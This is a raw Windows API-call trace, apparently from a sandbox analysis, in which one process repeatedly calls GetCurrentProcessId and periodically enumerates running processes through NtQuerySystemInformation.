GetCurrentProcessId () returned 0x388 [0133.106] GetCurrentProcessId () returned 0x388 [0133.106] GetCurrentProcessId () returned 0x388 [0133.106] GetCurrentProcessId () returned 0x388 [0133.106] GetCurrentProcessId () returned 0x388 [0133.107] GetCurrentProcessId () returned 0x388 [0133.107] GetCurrentProcessId () returned 0x388 [0133.107] GetCurrentProcessId () returned 0x388 [0133.107] GetCurrentProcessId () returned 0x388 [0133.107] GetCurrentProcessId () returned 0x388 [0133.107] GetCurrentProcessId () returned 0x388 [0133.107] GetCurrentProcessId () returned 0x388 [0133.107] GetCurrentProcessId () returned 0x388 [0133.107] GetCurrentProcessId () returned 0x388 [0133.107] GetCurrentProcessId () returned 0x388 [0133.107] GetCurrentProcessId () returned 0x388 [0133.107] GetCurrentProcessId () returned 0x388 [0133.107] GetCurrentProcessId () returned 0x388 [0133.107] GetCurrentProcessId () returned 0x388 [0133.107] GetCurrentProcessId () returned 0x388 [0133.107] GetCurrentProcessId () returned 0x388 [0133.107] GetCurrentProcessId () returned 0x388 [0133.107] GetCurrentProcessId () returned 0x388 [0133.107] GetCurrentProcessId () returned 0x388 [0133.107] GetCurrentProcessId () returned 0x388 [0133.107] GetCurrentProcessId () returned 0x388 [0133.107] GetCurrentProcessId () returned 0x388 [0133.107] GetCurrentProcessId () returned 0x388 [0133.107] GetCurrentProcessId () returned 0x388 [0133.108] GetCurrentProcessId () returned 0x388 [0133.108] GetCurrentProcessId () returned 0x388 [0133.108] GetCurrentProcessId () returned 0x388 [0133.108] GetCurrentProcessId () returned 0x388 [0133.108] GetCurrentProcessId () returned 0x388 [0133.108] GetCurrentProcessId () returned 0x388 [0133.108] GetCurrentProcessId () returned 0x388 [0133.108] GetCurrentProcessId () returned 0x388 [0133.108] GetCurrentProcessId () returned 0x388 [0133.108] GetCurrentProcessId () returned 0x388 [0133.108] GetCurrentProcessId () returned 0x388 [0133.108] GetCurrentProcessId () returned 0x388 [0133.108] GetCurrentProcessId () returned 0x388 [0133.711] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b98eca0 | out: SystemInformation=0x131358d0, ResultLength=0x1b98eca0*=0x1cc58) returned 0x0 [0133.718] GetCurrentProcessId () returned 0x388 [0133.718] GetCurrentProcessId () returned 0x388 [0133.718] GetCurrentProcessId () returned 0x388 [0133.718] GetCurrentProcessId () returned 0x388 [0133.718] GetCurrentProcessId () returned 0x388 [0133.718] GetCurrentProcessId () returned 0x388 [0133.718] GetCurrentProcessId () returned 0x388 [0133.718] GetCurrentProcessId () returned 0x388 [0133.718] GetCurrentProcessId () returned 0x388 [0133.718] GetCurrentProcessId () returned 0x388 [0133.718] GetCurrentProcessId () returned 0x388 [0133.718] GetCurrentProcessId () returned 0x388 [0133.718] GetCurrentProcessId () returned 0x388 [0133.718] GetCurrentProcessId () returned 0x388 [0133.718] GetCurrentProcessId () returned 0x388 [0133.718] GetCurrentProcessId () returned 0x388 [0133.718] GetCurrentProcessId () returned 0x388 [0133.718] GetCurrentProcessId () returned 0x388 [0133.718] GetCurrentProcessId () returned 0x388 [0133.718] GetCurrentProcessId () returned 0x388 [0133.719] GetCurrentProcessId () returned 0x388 [0133.719] GetCurrentProcessId () returned 0x388 [0133.719] GetCurrentProcessId () returned 0x388 [0133.719] GetCurrentProcessId () returned 0x388 [0133.719] GetCurrentProcessId () returned 0x388 [0133.719] GetCurrentProcessId () returned 0x388 [0133.719] GetCurrentProcessId () returned 0x388 [0133.719] GetCurrentProcessId () returned 0x388 [0133.719] GetCurrentProcessId () returned 0x388 [0133.719] GetCurrentProcessId () returned 0x388 [0133.719] GetCurrentProcessId () returned 0x388 [0133.719] GetCurrentProcessId () returned 0x388 [0133.719] GetCurrentProcessId () returned 0x388 [0133.719] GetCurrentProcessId () returned 0x388 [0133.719] GetCurrentProcessId () returned 0x388 [0133.719] GetCurrentProcessId () returned 0x388 [0133.719] GetCurrentProcessId () returned 0x388 [0133.719] GetCurrentProcessId () returned 0x388 [0133.719] GetCurrentProcessId () returned 0x388 [0133.719] GetCurrentProcessId () returned 0x388 [0133.719] GetCurrentProcessId () returned 0x388 [0133.719] GetCurrentProcessId () returned 0x388 [0133.719] GetCurrentProcessId () returned 0x388 [0133.719] GetCurrentProcessId () returned 0x388 [0133.719] GetCurrentProcessId () returned 0x388 [0133.719] GetCurrentProcessId () returned 0x388 [0133.719] GetCurrentProcessId () returned 0x388 [0133.719] GetCurrentProcessId () returned 0x388 [0133.719] GetCurrentProcessId () returned 0x388 [0133.719] GetCurrentProcessId () returned 0x388 [0133.719] GetCurrentProcessId () returned 0x388 [0133.719] GetCurrentProcessId () returned 0x388 [0133.719] GetCurrentProcessId () returned 0x388 [0133.719] GetCurrentProcessId () returned 0x388 [0133.719] GetCurrentProcessId () returned 0x388 [0133.719] GetCurrentProcessId () returned 0x388 [0133.719] GetCurrentProcessId () returned 0x388 [0133.719] GetCurrentProcessId () returned 0x388 [0133.720] GetCurrentProcessId () returned 0x388 [0133.720] GetCurrentProcessId () returned 0x388 [0133.720] GetCurrentProcessId () returned 0x388 [0133.720] GetCurrentProcessId () returned 0x388 [0133.720] GetCurrentProcessId () returned 0x388 [0133.720] GetCurrentProcessId () returned 0x388 [0133.720] GetCurrentProcessId () returned 0x388 [0133.720] GetCurrentProcessId () returned 0x388 [0133.720] GetCurrentProcessId () returned 0x388 [0133.720] GetCurrentProcessId () returned 0x388 [0133.720] GetCurrentProcessId () returned 0x388 [0133.720] GetCurrentProcessId () returned 0x388 [0133.720] GetCurrentProcessId () returned 0x388 [0133.720] GetCurrentProcessId () returned 0x388 [0133.720] GetCurrentProcessId () returned 0x388 [0133.720] GetCurrentProcessId () returned 0x388 [0133.720] GetCurrentProcessId () returned 0x388 [0133.720] GetCurrentProcessId () returned 0x388 [0133.720] GetCurrentProcessId () returned 0x388 [0133.720] GetCurrentProcessId () returned 0x388 [0133.720] GetCurrentProcessId () returned 0x388 [0133.720] GetCurrentProcessId () returned 0x388 [0133.720] GetCurrentProcessId () returned 0x388 [0133.720] GetCurrentProcessId () returned 0x388 [0133.720] GetCurrentProcessId () returned 0x388 [0133.720] GetCurrentProcessId () returned 0x388 [0133.720] GetCurrentProcessId () returned 0x388 [0133.720] GetCurrentProcessId () returned 0x388 [0133.720] GetCurrentProcessId () returned 0x388 [0133.720] GetCurrentProcessId () returned 0x388 [0133.720] GetCurrentProcessId () returned 0x388 [0133.720] GetCurrentProcessId () returned 0x388 [0133.720] GetCurrentProcessId () returned 0x388 [0133.720] GetCurrentProcessId () returned 0x388 [0133.720] GetCurrentProcessId () returned 0x388 [0133.720] GetCurrentProcessId () returned 0x388 [0133.720] GetCurrentProcessId () returned 0x388 [0133.721] GetCurrentProcessId () returned 0x388 [0133.721] GetCurrentProcessId () returned 0x388 [0133.721] GetCurrentProcessId () returned 0x388 [0133.721] GetCurrentProcessId () returned 0x388 [0133.721] GetCurrentProcessId () returned 0x388 [0133.721] GetCurrentProcessId () returned 0x388 [0133.721] GetCurrentProcessId () returned 0x388 [0133.721] GetCurrentProcessId () returned 0x388 [0133.721] GetCurrentProcessId () returned 0x388 [0133.721] GetCurrentProcessId () returned 0x388 [0133.721] GetCurrentProcessId () returned 0x388 [0133.721] GetCurrentProcessId () returned 0x388 [0134.242] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b98eca0 | out: SystemInformation=0x131358d0, ResultLength=0x1b98eca0*=0x1cca8) returned 0x0 [0134.244] GetCurrentProcessId () returned 0x388 [0134.244] GetCurrentProcessId () returned 0x388 [0134.244] GetCurrentProcessId () returned 0x388 [0134.244] GetCurrentProcessId () returned 0x388 [0134.244] GetCurrentProcessId () returned 0x388 [0134.244] GetCurrentProcessId () returned 0x388 [0134.244] GetCurrentProcessId () returned 0x388 [0134.244] GetCurrentProcessId () returned 0x388 [0134.244] GetCurrentProcessId () returned 0x388 [0134.244] GetCurrentProcessId () returned 0x388 [0134.244] GetCurrentProcessId () returned 0x388 [0134.244] GetCurrentProcessId () returned 0x388 [0134.244] GetCurrentProcessId () returned 0x388 [0134.244] GetCurrentProcessId () returned 0x388 [0134.244] GetCurrentProcessId () returned 0x388 [0134.244] GetCurrentProcessId () returned 0x388 [0134.244] GetCurrentProcessId () returned 0x388 [0134.244] GetCurrentProcessId () returned 0x388 [0134.245] GetCurrentProcessId () returned 0x388 [0134.245] GetCurrentProcessId () returned 0x388 [0134.245] GetCurrentProcessId () returned 0x388 [0134.245] GetCurrentProcessId () returned 0x388 [0134.245] GetCurrentProcessId () returned 0x388 [0134.245] GetCurrentProcessId () returned 0x388 [0134.245] GetCurrentProcessId () returned 0x388 [0134.245] GetCurrentProcessId () returned 0x388 [0134.245] GetCurrentProcessId () returned 0x388 [0134.245] GetCurrentProcessId () returned 0x388 [0134.245] GetCurrentProcessId () returned 0x388 [0134.245] GetCurrentProcessId () returned 0x388 [0134.245] GetCurrentProcessId () returned 0x388 [0134.245] GetCurrentProcessId () returned 0x388 [0134.245] GetCurrentProcessId () returned 0x388 [0134.245] GetCurrentProcessId () returned 0x388 [0134.245] GetCurrentProcessId () returned 0x388 [0134.245] GetCurrentProcessId () returned 0x388 [0134.245] GetCurrentProcessId () returned 0x388 [0134.245] GetCurrentProcessId () returned 0x388 [0134.245] GetCurrentProcessId () returned 0x388 [0134.245] GetCurrentProcessId () returned 0x388 [0134.245] GetCurrentProcessId () returned 0x388 [0134.245] GetCurrentProcessId () returned 0x388 [0134.245] GetCurrentProcessId () returned 0x388 [0134.245] GetCurrentProcessId () returned 0x388 [0134.245] GetCurrentProcessId () returned 0x388 [0134.245] GetCurrentProcessId () returned 0x388 [0134.245] GetCurrentProcessId () returned 0x388 [0134.245] GetCurrentProcessId () returned 0x388 [0134.245] GetCurrentProcessId () returned 0x388 [0134.245] GetCurrentProcessId () returned 0x388 [0134.245] GetCurrentProcessId () returned 0x388 [0134.245] GetCurrentProcessId () returned 0x388 [0134.245] GetCurrentProcessId () returned 0x388 [0134.245] GetCurrentProcessId () returned 0x388 [0134.245] GetCurrentProcessId () returned 0x388 [0134.245] GetCurrentProcessId () returned 0x388 [0134.246] GetCurrentProcessId () returned 0x388 [0134.246] GetCurrentProcessId () returned 0x388 [0134.246] GetCurrentProcessId () returned 0x388 [0134.246] GetCurrentProcessId () returned 0x388 [0134.246] GetCurrentProcessId () returned 0x388 [0134.246] GetCurrentProcessId () returned 0x388 [0134.246] GetCurrentProcessId () returned 0x388 [0134.246] GetCurrentProcessId () returned 0x388 [0134.246] GetCurrentProcessId () returned 0x388 [0134.246] GetCurrentProcessId () returned 0x388 [0134.246] GetCurrentProcessId () returned 0x388 [0134.246] GetCurrentProcessId () returned 0x388 [0134.246] GetCurrentProcessId () returned 0x388 [0134.246] GetCurrentProcessId () returned 0x388 [0134.246] GetCurrentProcessId () returned 0x388 [0134.246] GetCurrentProcessId () returned 0x388 [0134.246] GetCurrentProcessId () returned 0x388 [0134.246] GetCurrentProcessId () returned 0x388 [0134.246] GetCurrentProcessId () returned 0x388 [0134.246] GetCurrentProcessId () returned 0x388 [0134.246] GetCurrentProcessId () returned 0x388 [0134.246] GetCurrentProcessId () returned 0x388 [0134.246] GetCurrentProcessId () returned 0x388 [0134.246] GetCurrentProcessId () returned 0x388 [0134.246] GetCurrentProcessId () returned 0x388 [0134.246] GetCurrentProcessId () returned 0x388 [0134.246] GetCurrentProcessId () returned 0x388 [0134.246] GetCurrentProcessId () returned 0x388 [0134.246] GetCurrentProcessId () returned 0x388 [0134.246] GetCurrentProcessId () returned 0x388 [0134.246] GetCurrentProcessId () returned 0x388 [0134.246] GetCurrentProcessId () returned 0x388 [0134.246] GetCurrentProcessId () returned 0x388 [0134.246] GetCurrentProcessId () returned 0x388 [0134.246] GetCurrentProcessId () returned 0x388 [0134.246] GetCurrentProcessId () returned 0x388 [0134.246] GetCurrentProcessId () returned 0x388 [0134.246] GetCurrentProcessId () returned 0x388 [0134.247] GetCurrentProcessId () returned 0x388 [0134.247] GetCurrentProcessId () returned 0x388 [0134.247] GetCurrentProcessId () returned 0x388 [0134.247] GetCurrentProcessId () returned 0x388 [0134.247] GetCurrentProcessId () returned 0x388 [0134.247] GetCurrentProcessId () returned 0x388 [0134.247] GetCurrentProcessId () returned 0x388 [0134.247] GetCurrentProcessId () returned 0x388 [0134.247] GetCurrentProcessId () returned 0x388 [0134.247] GetCurrentProcessId () returned 0x388 [0134.247] GetCurrentProcessId () returned 0x388 [0134.247] GetCurrentProcessId () returned 0x388 [0134.247] GetCurrentProcessId () returned 0x388 [0134.991] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b98eca0 | out: SystemInformation=0x131358d0, ResultLength=0x1b98eca0*=0x1cca8) returned 0x0 [0135.007] GetCurrentProcessId () returned 0x388 [0135.007] GetCurrentProcessId () returned 0x388 [0135.007] GetCurrentProcessId () returned 0x388 [0135.007] GetCurrentProcessId () returned 0x388 [0135.007] GetCurrentProcessId () returned 0x388 [0135.007] GetCurrentProcessId () returned 0x388 [0135.007] GetCurrentProcessId () returned 0x388 [0135.007] GetCurrentProcessId () returned 0x388 [0135.007] GetCurrentProcessId () returned 0x388 [0135.007] GetCurrentProcessId () returned 0x388 [0135.007] GetCurrentProcessId () returned 0x388 [0135.008] GetCurrentProcessId () returned 0x388 [0135.008] GetCurrentProcessId () returned 0x388 [0135.008] GetCurrentProcessId () returned 0x388 [0135.008] GetCurrentProcessId () returned 0x388 [0135.008] GetCurrentProcessId () returned 0x388 [0135.008] GetCurrentProcessId () returned 0x388 [0135.008] GetCurrentProcessId () returned 0x388 [0135.008] GetCurrentProcessId () returned 0x388 [0135.008] GetCurrentProcessId () returned 0x388 [0135.008] GetCurrentProcessId () returned 0x388 [0135.008] GetCurrentProcessId () returned 0x388 [0135.008] GetCurrentProcessId () returned 0x388 [0135.008] GetCurrentProcessId () returned 0x388 [0135.008] GetCurrentProcessId () returned 0x388 [0135.008] GetCurrentProcessId () returned 0x388 [0135.008] GetCurrentProcessId () returned 0x388 [0135.008] GetCurrentProcessId () returned 0x388 [0135.008] GetCurrentProcessId () returned 0x388 [0135.008] GetCurrentProcessId () returned 0x388 [0135.008] GetCurrentProcessId () returned 0x388 [0135.008] GetCurrentProcessId () returned 0x388 [0135.008] GetCurrentProcessId () returned 0x388 [0135.008] GetCurrentProcessId () returned 0x388 [0135.008] GetCurrentProcessId () returned 0x388 [0135.008] GetCurrentProcessId () returned 0x388 [0135.008] GetCurrentProcessId () returned 0x388 [0135.008] GetCurrentProcessId () returned 0x388 [0135.008] GetCurrentProcessId () returned 0x388 [0135.008] GetCurrentProcessId () returned 0x388 [0135.008] GetCurrentProcessId () returned 0x388 [0135.008] GetCurrentProcessId () returned 0x388 [0135.008] GetCurrentProcessId () returned 0x388 [0135.009] GetCurrentProcessId () returned 0x388 [0135.009] GetCurrentProcessId () returned 0x388 [0135.009] GetCurrentProcessId () returned 0x388 [0135.009] GetCurrentProcessId () returned 0x388 [0135.009] GetCurrentProcessId () returned 0x388 [0135.009] GetCurrentProcessId () returned 0x388 [0135.009] GetCurrentProcessId () returned 0x388 [0135.009] GetCurrentProcessId () returned 0x388 [0135.009] GetCurrentProcessId () returned 0x388 [0135.009] GetCurrentProcessId () returned 0x388 [0135.009] GetCurrentProcessId () returned 0x388 [0135.009] GetCurrentProcessId () returned 0x388 [0135.009] GetCurrentProcessId () returned 0x388 [0135.009] GetCurrentProcessId () returned 0x388 [0135.009] GetCurrentProcessId () returned 0x388 [0135.009] GetCurrentProcessId () returned 0x388 [0135.009] GetCurrentProcessId () returned 0x388 [0135.009] GetCurrentProcessId () returned 0x388 [0135.009] GetCurrentProcessId () returned 0x388 [0135.010] GetCurrentProcessId () returned 0x388 [0135.010] GetCurrentProcessId () returned 0x388 [0135.010] GetCurrentProcessId () returned 0x388 [0135.010] GetCurrentProcessId () returned 0x388 [0135.010] GetCurrentProcessId () returned 0x388 [0135.010] GetCurrentProcessId () returned 0x388 [0135.010] GetCurrentProcessId () returned 0x388 [0135.013] GetCurrentProcessId () returned 0x388 [0135.013] GetCurrentProcessId () returned 0x388 [0135.013] GetCurrentProcessId () returned 0x388 [0135.013] GetCurrentProcessId () returned 0x388 [0135.013] GetCurrentProcessId () returned 0x388 [0135.013] GetCurrentProcessId () returned 0x388 [0135.013] GetCurrentProcessId () returned 0x388 [0135.013] GetCurrentProcessId () returned 0x388 [0135.013] GetCurrentProcessId () returned 0x388 [0135.013] GetCurrentProcessId () returned 0x388 [0135.013] GetCurrentProcessId () returned 0x388 [0135.013] GetCurrentProcessId () returned 0x388 [0135.013] GetCurrentProcessId () returned 0x388 [0135.014] GetCurrentProcessId () returned 0x388 [0135.014] GetCurrentProcessId () returned 0x388 [0135.014] GetCurrentProcessId () returned 0x388 [0135.014] GetCurrentProcessId () returned 0x388 [0135.014] GetCurrentProcessId () returned 0x388 [0135.014] GetCurrentProcessId () returned 0x388 [0135.014] GetCurrentProcessId () returned 0x388 [0135.014] GetCurrentProcessId () returned 0x388 [0135.014] GetCurrentProcessId () returned 0x388 [0135.014] GetCurrentProcessId () returned 0x388 [0135.014] GetCurrentProcessId () returned 0x388 [0135.014] GetCurrentProcessId () returned 0x388 [0135.014] GetCurrentProcessId () returned 0x388 [0135.014] GetCurrentProcessId () returned 0x388 [0135.014] GetCurrentProcessId () returned 0x388 [0135.014] GetCurrentProcessId () returned 0x388 [0135.014] GetCurrentProcessId () returned 0x388 [0135.014] GetCurrentProcessId () returned 0x388 [0135.014] GetCurrentProcessId () returned 0x388 [0135.014] GetCurrentProcessId () returned 0x388 [0135.014] GetCurrentProcessId () returned 0x388 [0135.014] GetCurrentProcessId () returned 0x388 [0135.014] GetCurrentProcessId () returned 0x388 [0135.014] GetCurrentProcessId () returned 0x388 [0135.014] GetCurrentProcessId () returned 0x388 [0135.675] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b98eca0 | out: SystemInformation=0x131358d0, ResultLength=0x1b98eca0*=0x1cd48) returned 0x0 [0135.697] GetCurrentProcessId () returned 0x388 [0135.697] GetCurrentProcessId () returned 0x388 [0135.697] GetCurrentProcessId () returned 0x388 [0135.697] GetCurrentProcessId () returned 0x388 [0135.697] GetCurrentProcessId () returned 0x388 [0135.697] GetCurrentProcessId () returned 0x388 [0135.697] GetCurrentProcessId () returned 0x388 [0135.697] GetCurrentProcessId () returned 0x388 [0135.697] GetCurrentProcessId () returned 0x388 [0135.697] GetCurrentProcessId () returned 0x388 [0135.697] GetCurrentProcessId () returned 0x388 [0135.697] GetCurrentProcessId () returned 0x388 [0135.697] GetCurrentProcessId () returned 0x388 [0135.697] GetCurrentProcessId () returned 0x388 [0135.698] GetCurrentProcessId () returned 0x388 [0135.698] GetCurrentProcessId () returned 0x388 [0135.698] GetCurrentProcessId () returned 0x388 [0135.698] GetCurrentProcessId () returned 0x388 [0135.698] GetCurrentProcessId () returned 0x388 [0135.698] GetCurrentProcessId () returned 0x388 [0135.698] GetCurrentProcessId () returned 0x388 [0135.698] GetCurrentProcessId () returned 0x388 [0135.698] GetCurrentProcessId () returned 0x388 [0135.698] GetCurrentProcessId () returned 0x388 [0135.698] GetCurrentProcessId () returned 0x388 [0135.698] GetCurrentProcessId () returned 0x388 [0135.698] GetCurrentProcessId () returned 0x388 [0135.698] GetCurrentProcessId () returned 0x388 [0135.698] GetCurrentProcessId () returned 0x388 [0135.698] GetCurrentProcessId () returned 0x388 [0135.698] GetCurrentProcessId () returned 0x388 [0135.698] GetCurrentProcessId () returned 0x388 [0135.703] GetCurrentProcessId () returned 0x388 [0135.703] GetCurrentProcessId () returned 0x388 [0135.703] GetCurrentProcessId () returned 0x388 [0135.703] GetCurrentProcessId () returned 0x388 [0135.703] GetCurrentProcessId () returned 0x388 [0135.703] GetCurrentProcessId () returned 0x388 [0135.703] GetCurrentProcessId () returned 0x388 [0135.703] GetCurrentProcessId () returned 0x388 [0135.703] GetCurrentProcessId () returned 0x388 [0135.703] GetCurrentProcessId () returned 0x388 [0135.703] GetCurrentProcessId () returned 0x388 [0135.703] GetCurrentProcessId () returned 0x388 [0135.703] GetCurrentProcessId () returned 0x388 [0135.703] GetCurrentProcessId () returned 0x388 [0135.703] GetCurrentProcessId () returned 0x388 [0135.703] GetCurrentProcessId () returned 0x388 [0135.703] GetCurrentProcessId () returned 0x388 [0135.703] GetCurrentProcessId () returned 0x388 [0135.703] GetCurrentProcessId () returned 0x388 [0135.703] GetCurrentProcessId () returned 0x388 [0135.703] GetCurrentProcessId () returned 0x388 [0135.703] GetCurrentProcessId () returned 0x388 [0135.703] GetCurrentProcessId () returned 0x388 [0135.703] GetCurrentProcessId () returned 0x388 [0135.703] GetCurrentProcessId () returned 0x388 [0135.703] GetCurrentProcessId () returned 0x388 [0135.703] GetCurrentProcessId () returned 0x388 [0135.703] GetCurrentProcessId () returned 0x388 [0135.703] GetCurrentProcessId () returned 0x388 [0135.703] GetCurrentProcessId () returned 0x388 [0135.704] GetCurrentProcessId () returned 0x388 [0135.704] GetCurrentProcessId () returned 0x388 [0135.704] GetCurrentProcessId () returned 0x388 [0135.704] GetCurrentProcessId () returned 0x388 [0135.704] GetCurrentProcessId () returned 0x388 [0135.704] GetCurrentProcessId () returned 0x388 [0135.704] GetCurrentProcessId () returned 0x388 [0135.704] GetCurrentProcessId () returned 0x388 [0135.704] GetCurrentProcessId () returned 0x388 [0135.704] GetCurrentProcessId () returned 0x388 [0135.705] GetCurrentProcessId () returned 0x388 [0135.705] GetCurrentProcessId () returned 0x388 [0135.705] GetCurrentProcessId () returned 0x388 [0135.705] GetCurrentProcessId () returned 0x388 [0135.705] GetCurrentProcessId () returned 0x388 [0135.705] GetCurrentProcessId () returned 0x388 [0135.705] GetCurrentProcessId () returned 0x388 [0135.705] GetCurrentProcessId () returned 0x388 [0135.705] GetCurrentProcessId () returned 0x388 [0135.705] GetCurrentProcessId () returned 0x388 [0135.705] GetCurrentProcessId () returned 0x388 [0135.705] GetCurrentProcessId () returned 0x388 [0135.705] GetCurrentProcessId () returned 0x388 [0135.705] GetCurrentProcessId () returned 0x388 [0135.705] GetCurrentProcessId () returned 0x388 [0135.705] GetCurrentProcessId () returned 0x388 [0135.705] GetCurrentProcessId () returned 0x388 [0135.705] GetCurrentProcessId () returned 0x388 [0135.705] GetCurrentProcessId () returned 0x388 [0135.705] GetCurrentProcessId () returned 0x388 [0135.705] GetCurrentProcessId () returned 0x388 [0135.705] GetCurrentProcessId () returned 0x388 [0135.705] GetCurrentProcessId () returned 0x388 [0135.705] GetCurrentProcessId () returned 0x388 [0135.705] GetCurrentProcessId () returned 0x388 [0135.705] GetCurrentProcessId () returned 0x388 [0135.705] GetCurrentProcessId () returned 0x388 [0135.705] GetCurrentProcessId () returned 0x388 [0135.705] GetCurrentProcessId () returned 0x388 [0135.705] GetCurrentProcessId () returned 0x388 [0135.705] GetCurrentProcessId () returned 0x388 [0135.705] GetCurrentProcessId () returned 0x388 [0135.706] GetCurrentProcessId () returned 0x388 [0135.706] GetCurrentProcessId () returned 0x388 [0135.706] GetCurrentProcessId () returned 0x388 [0136.368] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13175940, Length=0x20000, ResultLength=0x1b98eca0 | out: SystemInformation=0x13175940, ResultLength=0x1b98eca0*=0x1cd48) returned 0x0 [0136.385] GetCurrentProcessId () returned 0x388 [0136.385] GetCurrentProcessId () returned 0x388 [0136.385] GetCurrentProcessId () returned 0x388 [0136.385] GetCurrentProcessId () returned 0x388 [0136.385] GetCurrentProcessId () returned 0x388 [0136.385] GetCurrentProcessId () returned 0x388 [0136.385] GetCurrentProcessId () returned 0x388 [0136.385] GetCurrentProcessId () returned 0x388 [0136.385] GetCurrentProcessId () returned 0x388 [0136.385] GetCurrentProcessId () returned 0x388 [0136.385] GetCurrentProcessId () returned 0x388 [0136.385] GetCurrentProcessId () returned 0x388 [0136.385] GetCurrentProcessId () returned 0x388 [0136.386] GetCurrentProcessId () returned 0x388 [0136.386] GetCurrentProcessId () returned 0x388 [0136.386] GetCurrentProcessId () returned 0x388 [0136.386] GetCurrentProcessId () returned 0x388 [0136.386] GetCurrentProcessId () returned 0x388 [0136.386] GetCurrentProcessId () returned 0x388 [0136.386] GetCurrentProcessId () returned 0x388 [0136.386] GetCurrentProcessId () returned 0x388 [0136.386] GetCurrentProcessId () returned 0x388 [0136.386] GetCurrentProcessId () returned 0x388 [0136.386] GetCurrentProcessId () returned 0x388 [0136.386] GetCurrentProcessId () returned 0x388 [0136.386] GetCurrentProcessId () returned 0x388 [0136.386] GetCurrentProcessId () returned 0x388 [0136.386] GetCurrentProcessId () returned 0x388 [0136.386] GetCurrentProcessId () returned 0x388 [0136.386] GetCurrentProcessId () returned 0x388 [0136.387] GetCurrentProcessId () returned 0x388 [0136.387] GetCurrentProcessId () returned 0x388 [0136.387] GetCurrentProcessId () returned 0x388 [0136.387] GetCurrentProcessId () returned 0x388 [0136.387] GetCurrentProcessId () returned 0x388 [0136.387] GetCurrentProcessId () returned 0x388 [0136.387] GetCurrentProcessId () returned 0x388 [0136.387] GetCurrentProcessId () returned 0x388 [0136.387] GetCurrentProcessId () returned 0x388 [0136.387] GetCurrentProcessId () returned 0x388 [0136.387] GetCurrentProcessId () returned 0x388 [0136.387] GetCurrentProcessId () returned 0x388 [0136.387] GetCurrentProcessId () returned 0x388 [0136.387] GetCurrentProcessId () returned 0x388 [0136.387] GetCurrentProcessId () returned 0x388 [0136.387] GetCurrentProcessId () returned 0x388 [0136.387] GetCurrentProcessId () returned 0x388 [0136.387] GetCurrentProcessId () returned 0x388 [0136.387] GetCurrentProcessId () returned 0x388 [0136.387] GetCurrentProcessId () returned 0x388 [0136.387] GetCurrentProcessId () returned 0x388 [0136.387] GetCurrentProcessId () returned 0x388 [0136.387] GetCurrentProcessId () returned 0x388 [0136.388] GetCurrentProcessId () returned 0x388 [0136.388] GetCurrentProcessId () returned 0x388 [0136.388] GetCurrentProcessId () returned 0x388 [0136.388] GetCurrentProcessId () returned 0x388 [0136.388] GetCurrentProcessId () returned 0x388 [0136.388] GetCurrentProcessId () returned 0x388 [0136.388] GetCurrentProcessId () returned 0x388 [0136.388] GetCurrentProcessId () returned 0x388 [0136.388] GetCurrentProcessId () returned 0x388 [0136.388] GetCurrentProcessId () returned 0x388 [0136.388] GetCurrentProcessId () returned 0x388 [0136.388] GetCurrentProcessId () returned 0x388 [0136.388] GetCurrentProcessId () returned 0x388 [0136.388] GetCurrentProcessId () returned 0x388 [0136.388] GetCurrentProcessId () returned 0x388 [0136.388] GetCurrentProcessId () returned 0x388 [0136.388] GetCurrentProcessId () returned 0x388 [0136.388] GetCurrentProcessId () returned 0x388 [0136.388] GetCurrentProcessId () returned 0x388 [0136.388] GetCurrentProcessId () returned 0x388 [0136.388] GetCurrentProcessId () returned 0x388 [0136.388] GetCurrentProcessId () returned 0x388 [0136.388] GetCurrentProcessId () returned 0x388 [0136.388] GetCurrentProcessId () returned 0x388 [0136.388] GetCurrentProcessId () returned 0x388 [0136.388] GetCurrentProcessId () returned 0x388 [0136.388] GetCurrentProcessId () returned 0x388 [0136.388] GetCurrentProcessId () returned 0x388 [0136.388] GetCurrentProcessId () returned 0x388 [0136.388] GetCurrentProcessId () returned 0x388 [0136.388] GetCurrentProcessId () returned 0x388 [0136.388] GetCurrentProcessId () returned 0x388 [0136.389] GetCurrentProcessId () returned 0x388 [0136.389] GetCurrentProcessId () returned 0x388 [0136.389] GetCurrentProcessId () returned 0x388 [0136.389] GetCurrentProcessId () returned 0x388 [0136.389] GetCurrentProcessId () returned 0x388 [0136.389] GetCurrentProcessId () returned 0x388 [0136.389] GetCurrentProcessId () returned 0x388 [0136.389] GetCurrentProcessId () returned 0x388 [0136.389] GetCurrentProcessId () returned 0x388 [0136.389] GetCurrentProcessId () returned 0x388 [0136.389] GetCurrentProcessId () returned 0x388 [0136.389] GetCurrentProcessId () returned 0x388 [0136.389] GetCurrentProcessId () returned 0x388 [0136.389] GetCurrentProcessId () returned 0x388 [0136.389] GetCurrentProcessId () returned 0x388 [0136.389] GetCurrentProcessId () returned 0x388 [0136.389] GetCurrentProcessId () returned 0x388 [0136.389] GetCurrentProcessId () returned 0x388 [0136.389] GetCurrentProcessId () returned 0x388 [0136.389] GetCurrentProcessId () returned 0x388 [0136.389] GetCurrentProcessId () returned 0x388 [0136.389] GetCurrentProcessId () returned 0x388 [0137.020] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13175940, Length=0x20000, ResultLength=0x1b98eca0 | out: SystemInformation=0x13175940, ResultLength=0x1b98eca0*=0x1cd98) returned 0x0 [0137.033] GetCurrentProcessId () returned 0x388 [0137.033] GetCurrentProcessId () returned 0x388 [0137.033] GetCurrentProcessId () returned 0x388 [0137.033] GetCurrentProcessId () returned 0x388 [0137.033] GetCurrentProcessId () returned 0x388 [0137.033] GetCurrentProcessId () returned 0x388 [0137.033] GetCurrentProcessId () returned 0x388 [0137.033] GetCurrentProcessId () returned 0x388 [0137.033] GetCurrentProcessId () returned 0x388 [0137.033] GetCurrentProcessId () returned 0x388 [0137.033] GetCurrentProcessId () returned 0x388 [0137.033] GetCurrentProcessId () returned 0x388 [0137.033] GetCurrentProcessId () returned 0x388 [0137.033] GetCurrentProcessId () returned 0x388 [0137.033] GetCurrentProcessId () returned 0x388 [0137.033] GetCurrentProcessId () returned 0x388 [0137.033] GetCurrentProcessId () returned 0x388 [0137.033] GetCurrentProcessId () returned 0x388 [0137.033] GetCurrentProcessId () returned 0x388 